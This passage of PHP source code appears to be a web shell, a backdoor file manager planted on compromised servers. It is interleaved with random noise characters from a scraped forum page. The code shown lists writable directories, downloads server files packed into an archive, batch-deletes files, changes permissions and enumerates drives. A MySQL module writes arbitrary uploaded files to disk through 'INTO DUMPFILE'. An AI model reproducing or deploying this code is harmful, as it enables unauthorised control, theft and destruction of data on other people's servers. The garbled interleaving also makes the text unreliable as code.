    6 i( N8 U- B+ H) A
  332.         elseif($doing == 'downrar') {
    8 K3 s% U' h6 z# r$ g7 \3 p, A2 \
  333.                 if ($dl) {4 _5 X$ O* E% k4 G: _/ C
  334.                         $dfiles='';
    # m5 Z0 V! V5 G
  335.                         foreach ($dl as $filepath => $value) {
    ) ^4 ]) o: U. Z; X! N
  336.                                 $dfiles.=$filepath.',';$ A7 @$ K5 h8 T- _) Z* i
  337.                         }6 \2 `% |" h0 c0 l" N
  338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
    + j$ V- d% B* E* a7 m" z
  339.                         $dl=explode(',',$dfiles);
    7 b( i2 L, U6 b+ ^3 l
  340.                         $zip=new PHPZip($dl);' C" c+ k, i% H! p0 c
  341.                         $code=$zip->out;
    ( c1 J3 d5 b+ W! [' ~: U) x0 a
  342.                         header('Content-type: application/octet-stream');" `5 V. ]3 z* @
  343.                         header('Accept-Ranges: bytes');( i# T' [) |, @. G0 r& p. d8 x/ R0 x
  344.                         header('Accept-Length: '.strlen($code));
    6 V9 K. f8 t, U+ p% N8 D- ?0 t
  345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');+ T- e% Q3 _. L0 ?* j
  346.                         echo $code;
    * n" n7 E! d2 D3 f, c/ J: H
  347.                         exit;! Z' R: F$ R5 J# b. |2 l, M
  348.                 } else {- I4 ?( A) u! F9 t+ T
  349.                         m('Please select file(s)');, y2 @- ]! P1 q  z$ [8 Z, ^) e( Y
  350.                 }
      R/ K: N( O+ U0 I
  351.         }- a$ S4 @, w/ O+ Q

  352. / `2 m* s3 J: r' P' _
  353.         // 批量删除文件
    + _8 n) j1 y! g7 c1 W- F0 j
  354.         elseif($doing == 'delfiles') {  c) l5 _. h: F* s4 }+ }
  355.                 if ($dl) {
    3 J" Y" g, C, J9 s/ N
  356.                         $dfiles='';
    * J- z/ D& M# T8 z
  357.                         $succ = $fail = 0;6 e; [3 k; x0 ?3 j4 l
  358.                         foreach ($dl as $filepath => $value) {# ]( V! P# S6 U8 b: a5 Z( M7 ~
  359.                                 if (@unlink($filepath)) {9 u# P" D3 Q) R3 Z
  360.                                         $succ++;% Y+ u+ Z! j9 |8 _9 B- X. T7 \
  361.                                 } else {
    * D- G2 q9 ]+ Y) y
  362.                                         $fail++;( N; S1 g$ y- P7 F( K7 J: ~
  363.                                 }; c- H' C% Y7 D/ M6 F# n0 q
  364.                         }
    , i/ p3 i% @# \" J5 w; k0 y
  365.                         m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);5 _1 p2 ^1 ]* o, h
  366.                 } else {
    & Q! Q9 |" _% X
  367.                         m('Please select file(s)');! y( ], C, h* d- T4 n" K, |
  368.                 }( Q/ ^+ t; B% N9 i/ k! _% X  q
  369.         }
    6 z9 b: ^$ a/ i
  370. $ B: w) W8 V5 _4 W
  371.         //操作完毕' q$ W0 l; X. V9 ?& S( ]
  372.         formhead(array('name'=>'createdir'));
    7 f2 V) r' |* S4 t5 p
  373.         makehide('newdirname');0 s" a- a7 _  B4 N8 `$ H
  374.         makehide('dir',$nowpath);# k4 Q+ ?2 \4 W& G, |
  375.         formfoot();8 Y! f$ g. U' i- j
  376.         formhead(array('name'=>'fileperm'));
    * W$ b. g- u0 R* P) [& v& h
  377.         makehide('newperm');8 c! j9 V0 P$ ~; _" m
  378.         makehide('pfile');
    - A. t2 n% V) v& p% R: ^9 M
  379.         makehide('dir',$nowpath);: u! ?, X  f' i2 M2 T9 O
  380.         formfoot();
    ; @/ u: W! W% ]% m0 K
  381.         formhead(array('name'=>'copyfile'));
    5 P. d! J1 F7 n1 D3 ~- |' c
  382.         makehide('sname');6 Z, T7 P1 Y. M  D. |8 s+ d1 D
  383.         makehide('tofile');
    ) N) Z8 m7 d' Y
  384.         makehide('dir',$nowpath);
    4 D# y. ~* z% B7 d/ X" t- n
  385.         formfoot();  V. _, _  {$ `8 ?! G
  386.         formhead(array('name'=>'rename'));
    , E1 k2 ~% M* R
  387.         makehide('oldname');* C& h. g+ `7 g, n9 G) P5 z. V
  388.         makehide('newfilename');" e4 |& _( Z# B7 h% C
  389.         makehide('dir',$nowpath);, Z+ o" Z. w& _- S" N) J/ l
  390.         formfoot();$ K; V4 `' g" |; n
  391.         formhead(array('name'=>'fileopform'));0 l- @) m" e. x
  392.         makehide('action');7 |( f5 b' T2 J, T$ \
  393.         makehide('opfile');
    . g1 k! m- U. \3 p; p% t
  394.         makehide('dir');! @6 t; j- E3 f' h& B! X
  395.         formfoot();
    ! U1 Z, b4 M9 o# S3 A
  396. ' F# D/ C8 \: Q0 O% \) t9 S! l0 j
  397.         $free = @disk_free_space($nowpath);& b5 X5 @# a6 |6 _
  398.         !$free && $free = 0;% p7 l% o. Y+ `) G
  399.         $all = @disk_total_space($nowpath);
    * t+ @4 U. s5 v8 w
  400.         !$all && $all = 0;
    & b  Q- y' q# F) b5 x3 ^( s
  401.         $used = $all-$free;
    8 ~, d8 H% U; E/ Q( |: C
  402.         $used_percent = @round(100/($all/$free),2);
    2 ^0 Y0 a1 N4 X
  403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
    " M$ @- d  F9 w4 D3 _
  404. 6 F/ c1 _0 ~/ f% Z8 y" p2 }# N
  405. ?>& ]. k5 ?# c8 B9 w- m# `
  406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
    ; p% E6 `, J6 p7 ~( n9 h
  407.   <form action="" method="post" id="godir" name="godir">4 X( h9 P0 j, H3 W' c* j
  408.   <tr>
    / W) a. v( d9 M% Z
  409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>: X6 o$ E% m# p  u" i! f- i
  410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    , V& i2 h& K+ m0 h
  411.     <td nowrap><input class="bt" value="GO" type="submit"></td>. \9 L: a* K6 a6 U
  412.   </tr>% \" u& l: \, n* X& |( s$ h
  413.   </form>
    . k% w) }- V2 T
  414. </table>
    / w# {& e. k! n- ^3 w# ?
  415. <script type="text/javascript">8 ~& y3 y% t; Q& Y
  416. function createdir(){
    3 s7 N& \1 N0 `4 S4 i0 N
  417.         var newdirname;3 Z1 Q# W3 Z; o( s/ c7 _
  418.         newdirname = prompt('Please input the directory name:', '');: _7 E, H" a. f: Z2 c
  419.         if (!newdirname) return;" w, W, g# K7 N! P; c+ v3 U
  420.         $('createdir').newdirname.value=newdirname;
      Z, s/ P, a' l1 t: d4 R4 g
  421.         $('createdir').submit();6 X* T8 ~5 e1 c9 L' d; B* A
  422. }
    7 O  u; y, @6 K- L& K* L
  423. function fileperm(pfile){
    6 ]" r5 W9 _5 L5 H3 x8 y) i
  424.         var newperm;$ ~- c4 L  j! k- f+ m3 M. |2 S) N9 T
  425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
    / U& U$ }# e( `6 x" ?, ]+ E
  426.         if (!newperm) return;
    6 T% P3 y& r! T( t. Y! T- _
  427.         $('fileperm').newperm.value=newperm;
    6 a  s- b6 O5 W3 G
  428.         $('fileperm').pfile.value=pfile;
    7 `; `! y) m0 z
  429.         $('fileperm').submit();
    ' D/ l" p: H$ U- r+ I
  430. }
    6 b, S/ F7 {$ M) W1 T
  431. function copyfile(sname){
    % N: J3 c* c& ^3 Y3 w  c) X* K
  432.         var tofile;
    - |* i+ ?) I+ n/ J9 O' g
  433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');+ l" _7 ^. d& n, V/ ]$ h% k6 _
  434.         if (!tofile) return;
    # J+ g: H* t' g9 G( T$ q
  435.         $('copyfile').tofile.value=tofile;9 U2 L8 D9 \* r+ Z2 k1 G! b
  436.         $('copyfile').sname.value=sname;4 E5 R# j, w0 Q3 A1 [3 L( B, ~" ]
  437.         $('copyfile').submit();- s" I$ j6 e. F
  438. }
    * A- q" _: F5 f
  439. function rename(oldname){
    6 r$ ]* H2 u1 q) `
  440.         var newfilename;
    ! {, A+ ]* f5 V8 E/ j
  441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
    - i# k! t$ O# o* p; ^. }6 U# e; @* E
  442.         if (!newfilename) return;
    " w" r# b' |3 P9 v) h; x7 q. _
  443.         $('rename').newfilename.value=newfilename;+ Z6 |$ R( l+ Z# A5 w2 H
  444.         $('rename').oldname.value=oldname;% ]0 A1 D2 C# ]0 R+ L
  445.         $('rename').submit();
    " E' i% v/ {& T# i
  446. }( w1 E, |9 ~3 X- r1 ]1 n
  447. function dofile(doing,thefile,m){
    . D, r% r8 F. f
  448.         if (m && !confirm(m)) {
    - @  V0 U+ B% t* s, Y
  449.                 return;! N# H. S$ T" W# L1 p+ P! F
  450.         }
    $ y: S+ O7 H. a0 w) V/ r. f
  451.         $('filelist').doing.value=doing;
    ! ]/ e0 M2 B: ]; I8 u2 F9 p
  452.         if (thefile){+ p# _* m1 |5 K3 I! g1 g+ a
  453.                 $('filelist').thefile.value=thefile;
    6 Q$ @8 U/ y! i: |% _' f+ ~
  454.         }
    6 {& L5 h4 H/ k4 @( w8 S1 A0 P' ^; m9 f
  455.         $('filelist').submit();
    1 \& x6 ]6 D* D9 N* j& g0 G
  456. }
    , }4 l" x0 I$ J) s8 Y
  457. function createfile(nowpath){
    * K& P8 l) @/ O2 }+ ?" a
  458.         var filename;
    , Y2 O8 x- j/ Y( O: [* f
  459.         filename = prompt('Please input the file name:', '');
    0 c0 g1 _# ]( ~  M
  460.         if (!filename) return;% l) B$ L# N8 `/ i: ^8 F& T
  461.         opfile('editfile',nowpath + filename,nowpath);
    6 \/ s- Y3 z# e3 Y
  462. }0 ^* m: ?8 h; T. ]" G
  463. function opfile(action,opfile,dir){0 p0 e4 Z1 Z& V" O" Q% D3 Q
  464.         $('fileopform').action.value=action;
    ' q; ]9 s* s5 {) l1 e
  465.         $('fileopform').opfile.value=opfile;
    1 S2 U$ O! O. b: I; U
  466.         $('fileopform').dir.value=dir;
    . w6 a6 c- V5 t! u# W/ M
  467.         $('fileopform').submit();$ \2 I2 V* X9 S
  468. }4 v' ^1 s# R( E. d5 m1 C8 _
  469. function godir(dir,view_writable){7 k2 G" W, X+ Q$ q4 \
  470.         if (view_writable) {/ K0 ~3 a5 m9 N$ _- g
  471.                 $('godir').view_writable.value=1;$ n" S" i! D! j* ]; a
  472.         }
      |3 ^/ ^$ S) ~5 h, e0 W
  473.         $('godir').dir.value=dir;6 ^. I" D; k8 F
  474.         $('godir').submit();  R3 w0 _5 E8 F8 M9 k. r: W
  475. }) T& A- s! U! m% W/ \6 Q: K& H: V
  476. </script>( ~- o$ T& l2 z# Q1 _- g- w. `  g
  477.   <?php7 h: c: ~/ p: i! r$ E
  478.         tbhead();
    4 Q2 N4 ?8 ~( G  ]. b. Z
  479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
    3 l- @  Q" P& b' g! \5 G& ^
  480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
    0 s( J, O( F  f9 ~; N: m; m
  481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
    ' M, V& z& n% @3 ?- v6 L6 `, ]
  482.         if ($view_writable) {
    7 |. ^. `7 f# c* u, y
  483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');; @+ P1 G7 r. N3 E2 I9 s
  484.         } else {
    + M4 J; X# l0 C+ W5 w
  485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');) G) x5 g! }* |) B. a
  486.         }
    6 l8 m: _4 W) d9 f/ R" o
  487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
    1 n: j- J# G0 w
  488.         if (IS_WIN && IS_COM) {9 {0 T: i0 F0 m- K
  489.                 $obj = new COM('scripting.filesystemobject');
    6 D: S: _$ E- r* I5 h$ F7 t
  490.                 if ($obj && is_object($obj)) {$ j3 p7 R2 z% i2 u/ E5 s
  491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');. d) n3 h5 C; A% Y7 M% u, Z
  492.                         foreach($obj->Drives as $drive) {
    $ g3 ]  P3 {/ ?$ p) z
  493.                                 if ($drive->DriveType == 2) {, u' F8 F# W, U
  494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
    . o: R( W/ B- d& I6 m
  495. Free:'.sizecount($drive->FreeSpace).'
    ( }3 n2 C9 M9 V9 [) E" P1 u2 J
  496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    2 f" Q4 g5 Q- w$ `+ k% f2 A
  497.                                 } else {
    3 @- `$ H0 g- L7 u7 ]
  498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');. g$ I5 ~( Z* U/ b
  499.                                 }% y4 [! d6 W: l7 \1 c. G2 \
  500.                         }8 `9 m5 u! l+ R; y, `' r
  501.                 }5 `2 P* S: `- f
  502.         }
    / E1 S% m6 f  t* |: o

  503. $ n! I, D7 f; g' s; a; b
  504.         p('</td></tr></form>');" f+ n* Y' M, g4 [) S5 r

  505. 7 |, H- C# v% K) @
  506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
    8 g; e5 ~! F$ j% b0 }

  507.   c+ X$ x( l4 O
  508.         //查看所有可写文件和目录8 P  |, M3 b, Z: o$ T
  509.         $dirdata=array();9 n* Q* C6 H! [) y; j6 W
  510.         $filedata=array();
      {2 y& a/ I0 @: I! @1 L6 o- k# z

  511. $ u1 D' N' H. E. x$ j& W
  512.         if ($view_writable) {3 K! g$ }# I6 r! b0 d2 p4 M
  513.                 $dirdata = GetList($nowpath);( d( [" h7 |: ]/ J3 H/ @3 U
  514.         } else {
    ; J4 u  s' [( y3 f% @: `
  515.                 // 目录列表
    ; b, s4 _! B$ o
  516.                 $dirs=@opendir($dir);8 m$ J, j7 G6 e  y# Q
  517.                 while ($file=@readdir($dirs)) {
    3 [  i3 u# f; J4 x2 i
  518.                         $filepath=$nowpath.$file;
    * J9 W0 U5 J" W0 c3 ^! r
  519.                         if(@is_dir($filepath)){8 ~' \* H) U4 a: }5 r
  520.                                 $dirdb['filename']=$file;  m) o- p" t" v0 L& Z( p
  521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
    8 \0 {! [5 ~0 O8 l) I& x# J4 J
  522.                                 $dirdb['dirchmod']=getChmod($filepath);8 a3 Y; U" }1 f3 I6 [  h
  523.                                 $dirdb['dirperm']=getPerms($filepath);* ~3 s: k+ w+ g1 O
  524.                                 $dirdb['fileowner']=getUser($filepath);
    1 G* v  B* g5 e" M
  525.                                 $dirdb['dirlink']=$nowpath;; m# l1 q, b# |! N1 j5 \
  526.                                 $dirdb['server_link']=$filepath;8 E0 E' O$ g5 E5 x! ~# f8 g4 L( y
  527.                                 $dirdb['client_link']=ue($filepath);
    9 N& d% Y# `2 w; z) q# U
  528.                                 $dirdata[]=$dirdb;7 S* O! i) x, v5 t; s* S2 x
  529.                         } else {                9 Q0 T4 d% l- ~* v2 q: o1 T
  530.                                 $filedb['filename']=$file;! l& q8 h% t" p) f# B- T
  531.                                 $filedb['size']=sizecount(@filesize($filepath));
    % M; i! A# Y* y+ a. H  M6 Q
  532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));' B* d5 Q9 X4 p9 c6 {# i) `# T
  533.                                 $filedb['filechmod']=getChmod($filepath);- _6 [( b- k, q8 ]# r% Q. G
  534.                                 $filedb['fileperm']=getPerms($filepath);
    3 }; z2 U- J! T2 I- {
  535.                                 $filedb['fileowner']=getUser($filepath);
      A, A+ \7 u4 v7 e
  536.                                 $filedb['dirlink']=$nowpath;) q5 S: q* J. c3 u9 w" s) o
  537.                                 $filedb['server_link']=$filepath;
    # ?5 d- C. v; s- `: E" Y
  538.                                 $filedb['client_link']=ue($filepath);
    ( w# \: [1 ~! Q* M! z
  539.                                 $filedata[]=$filedb;
    8 i4 g  ^+ P3 {9 p
  540.                         }
    7 U, n# D+ M( r/ `- }$ F/ g
  541.                 }// while
    - T* \7 e2 r  f7 d, i
  542.                 unset($dirdb);
    7 Z/ d5 `  c2 ]# c6 v$ |& t
  543.                 unset($filedb);
    " T6 D6 R! K4 ?( c: L: Y
  544.                 @closedir($dirs);. S+ H. n" L+ Q# o  Y) `8 q5 K
  545.         }
    ( v3 O- D. I# L
  546.         @sort($dirdata);
    ! Z" K- D: V! e3 t$ B% u# r
  547.         @sort($filedata);
    : X0 ~" d. F" `  N1 y% V
  548.         $dir_i = '0';
    ! U) e# E3 `" a( U, p) R
  549.         foreach($dirdata as $key => $dirdb){+ @; N. ?$ J# p6 `% ?. C
  550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {0 e" b- O6 A& ?0 n
  551.                         $thisbg = bg();7 H  j, \' R: q+ o. D
  552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');9 H) G- M) G2 `
  553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');$ D! F2 ]( D! r& |, |" i- K( W
  554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
    ( B# _: ?# H2 ^$ R! G/ Q
  555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
    4 N/ H! |* M& v# Y9 c  I1 H  Q( s
  556.                         p('<td nowrap>--</td>');3 v/ ^+ E5 b! T: r
  557.                         p('<td nowrap>');
    2 l& b/ g  r  F2 [
  558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
    - V, j$ l% g% q; [& v) `  H
  559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
    / s* e5 M3 c7 }/ y* s1 U0 y
  560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');) W1 M" R- B9 F  ~% v; C2 a" N
  561.                         p('</tr>');
    ! Q6 m% J! p' U
  562.                         $dir_i++;+ X& ~; F$ k( S- }+ _9 [
  563.                 } else {
    # ?/ l- s1 K' @) I
  564.                         if($dirdb['filename']=='..') {: R! h+ \' y, l6 A. x; }- Z& ]" a
  565.                                 p('<tr class='.bg().'>');
    ; H. M% A- B! z. P6 s* V  Z% e+ `
  566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
    ; \, T/ }0 D9 R* t& u+ W  @
  567.                                 p('</tr>');
    9 ?/ g. s( S* \) J$ {
  568.                         }7 Z( i0 S  o. s) R1 H9 F/ Q
  569.                 }- F0 {; [) b8 ^
  570.         }& w; g: ~8 |  y/ L0 `

  571. ( R* f+ g4 D- S! q& t( d$ M
  572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');0 E* O. |; @- y. f+ r, B
  573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');3 O* O2 ]; [' y, n
  574.         makehide('action','file');8 n, `5 z$ i' B, ?
  575.         makehide('thefile');% V6 `" {/ v% I2 u1 ]
  576.         makehide('doing');
    5 F& f: ~& x$ S2 K+ x9 c* j+ P6 o
  577.         makehide('dir',$nowpath);2 O; p' P; u9 z6 ]
  578.         $file_i = '0';% t/ Z8 k3 p& c0 ]( K
  579.         foreach($filedata as $key => $filedb){% z1 U# r8 J% J- E* ?
  580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
    8 @8 D6 A/ |: U; i6 z
  581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
    : Z* W9 Q9 K1 \+ Y  w
  582.                         $thisbg = bg();
    4 R) u) c9 j4 N+ M0 \
  583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');* ]$ h% q6 q4 f8 ~) ~
  584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');% }8 ~3 ~, @. n+ u2 n- z
  585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
    9 u4 i) u* x1 r/ ]. U: u+ l" a; X. w
  586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');0 |% {6 `- n/ v& d
  587.                         p('<td nowrap>'.$filedb['size'].'</td>');
    " y7 Z2 A7 U  B% g
  588.                         p('<td nowrap>');
    6 c: y/ U& k: q* d; r  O! [
  589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');$ c3 D: {6 b" c# ~
  590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
    " S' [# }: j4 o+ T1 \! L3 Z
  591.                         p('<td nowrap>');
    - l8 @: f9 q( o
  592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
    ! F( c( E/ S" U  M
  593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
    2 y2 V; F+ R/ j# }8 _  `
  594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');1 _0 A2 C2 t' p$ j5 p
  595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');9 o7 E: s  F4 Z4 G& k/ f
  596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');" B' G2 @, I( D7 O# p3 T/ y
  597.                         p('</td></tr>');
    3 z1 S' Z' _! c& z. N' \
  598.                         $file_i++;( |+ n3 \3 ?# ?! a4 X4 p2 O
  599.                 }5 ]( {: H1 K* Y. `
  600.         }
    . m5 N- M4 L, z& l# F
  601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
    5 F: O( B% F# {- J
  602.         p('</form></table>');! V: j8 m1 _" c4 D
  603. }// end dir
    8 e* N# [* [* D) Y* P/ G
  604. 7 y1 x5 _. ^5 H: z3 g
  605. elseif ($action == 'sqlfile') {
    : u2 |  e+ D) ?. S3 `2 n5 f
  606.         if($doing=="mysqlupload"){
    % b; C" n$ {5 @5 w4 e% P1 s
  607.                 $file = $_FILES['uploadfile'];
    ! K8 m  g, e+ z; {6 n3 p+ S
  608.                 $filename = $file['tmp_name'];# P" J' f8 }0 e6 C6 g2 r  d' b
  609.                 if (file_exists($savepath)) {4 ~1 I: L2 n9 B4 L0 U
  610.                         m('The goal file has already existed');9 Z7 z) Y" }. M1 C9 U
  611.                 } else {6 Q; b' J" F% a: _; Z/ W
  612.                         if(!$filename) {) ]; v% `$ |1 Q6 D3 W
  613.                                 m('Please choose a file');0 I/ o) T1 n0 |. Z9 J6 M
  614.                         } else {
    ' Q/ R" C( a9 q& ~* E+ I7 }- P
  615.                                 $fp=@fopen($filename,'r');
    : |( o5 U1 h' @6 |/ H7 M8 k
  616.                                 $contents=@fread($fp, filesize($filename));4 Y! k( K* C% B5 @1 \7 o0 ]( B
  617.                                 @fclose($fp);
    5 a9 E2 K4 n: Y5 W9 k9 O9 X3 N
  618.                                 $contents = bin2hex($contents);. @: L1 Q2 {# x; f2 K
  619.                                 if(!$upname) $upname = $file['name'];% Y/ @5 m. _4 X' O1 a0 r7 W. O
  620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);) s8 p; P! j$ B/ c7 f$ `1 W+ G$ `
  621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
    ' h: E6 U% w* [. Q* N/ \
  622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
    9 M7 U( v$ k# H; a. Z
  623.                         }
    9 ^3 P1 g2 V' Y- v* W
  624.                 }
    . F* k  Z3 v5 ?
  625.         }7 n, S1 r) m% u2 E" J; U: c
  626. ?>( q% R. s8 @# A- B, o' }' P+ p
  627. <script type="text/javascript">. Z$ e0 U2 ~& W0 k, g6 q- Y7 {
  628. function mysqlfile(doing){
    1 ~" E6 y7 \, ]7 d# u! \
  629.         if(!doing) return;
    2 K! {, @/ G! W0 I. f# B9 \  `
  630.         $('doing').value=doing;
    8 R4 x7 j: m5 m& e
  631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;, R, |$ p! V4 ]: m8 J
  632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
    # ^+ T2 v4 o4 g8 B. n2 L0 Y) `
  633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;: z) q/ h9 `1 b" u' Y  i. w
  634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;& c5 W1 z# U0 R1 x8 Q
  635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;0 w; V4 H* I& u
  636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
    4 w# [2 N# C9 z/ y
  637.         $('mysqlfile').submit();
    / j9 X* u, H3 b6 _7 w% Y( P7 m
  638. }
    0 J: O0 I6 {( M% k
  639. </script>
    1 W6 O$ v/ y0 m% C: ]
  640. <?php
    ( u9 a) ~. _3 a' u. |3 n* z
  641.         !$dbhost && $dbhost = 'localhost';
    $ H1 |) Y, n; D; ~( b! ?+ ^
  642.         !$dbuser && $dbuser = 'root';: L$ L& s5 H/ K: ~! y' ]
  643.         !$dbport && $dbport = '3306';
    2 s# M- j6 L+ x# c
  644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    8 T7 A3 {/ c2 l( W7 X! w
  645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));: `. d+ q* G2 x' G! N
  646.         makehide('action','sqlfile');' S: |* x0 ?  V. m7 p" S4 d! D
  647.         p('<p>');
    3 R7 g4 S( ~# e* X: `+ G
  648.         p('DBHost:');
    * P; q! Q/ o1 S; s, s
  649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));; N3 B2 l+ W0 l% K
  650.         p(':');: m& i* ]# R" Q2 b2 i
  651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
    ; X. c" K& G: z* \2 d/ ~
  652.         p('DBUser:');5 `: f( j4 P+ @% X
  653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    , ?$ O- q5 X4 R. A
  654.         p('DBPass:');5 |- o: O6 q+ e# L
  655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));7 ^4 I8 F/ j$ G5 S8 u( F
  656.         p('DBName:');
    ) I; K) w. z' Z; a9 u
  657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
    # V% ]' K7 w" m0 e# ~: F8 a
  658.         p('DBCharset:');: ?/ C* j$ ^1 P* S& A
  659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));$ o& D- [) s* f" g7 }% ^, q9 q- ~
  660.         p('</p>');
    / o5 W6 R: K) h& f
  661.         formfoot();4 }! {$ z: A- D7 f
  662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
    ; E) ?( a0 e" a, g
  663.         p('<h2>Upload file</h2>');
    * }' U1 x' ^7 N5 \% C5 ]
  664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
    7 z7 l- [1 M  R, F9 Q
  665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
    / O. _. l" I5 g" t+ c
  666.         p('<h2>Download file</h2>');: p9 o% m& |9 N, w" ]
  667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');- Y; F. A2 c  ?+ ~
  668.         makehide('dbhost');
    % y* [: V0 [5 n8 a& q
  669.         makehide('dbport');
    + l& M, ^9 ~& k1 Q- z5 d6 q
  670.         makehide('dbuser');; t4 O! q7 E3 f" x9 Q
  671.         makehide('dbpass');9 }2 i% q+ V7 i- W4 }
  672.         makehide('dbname');7 H% x* q8 p/ ]' r6 N# B
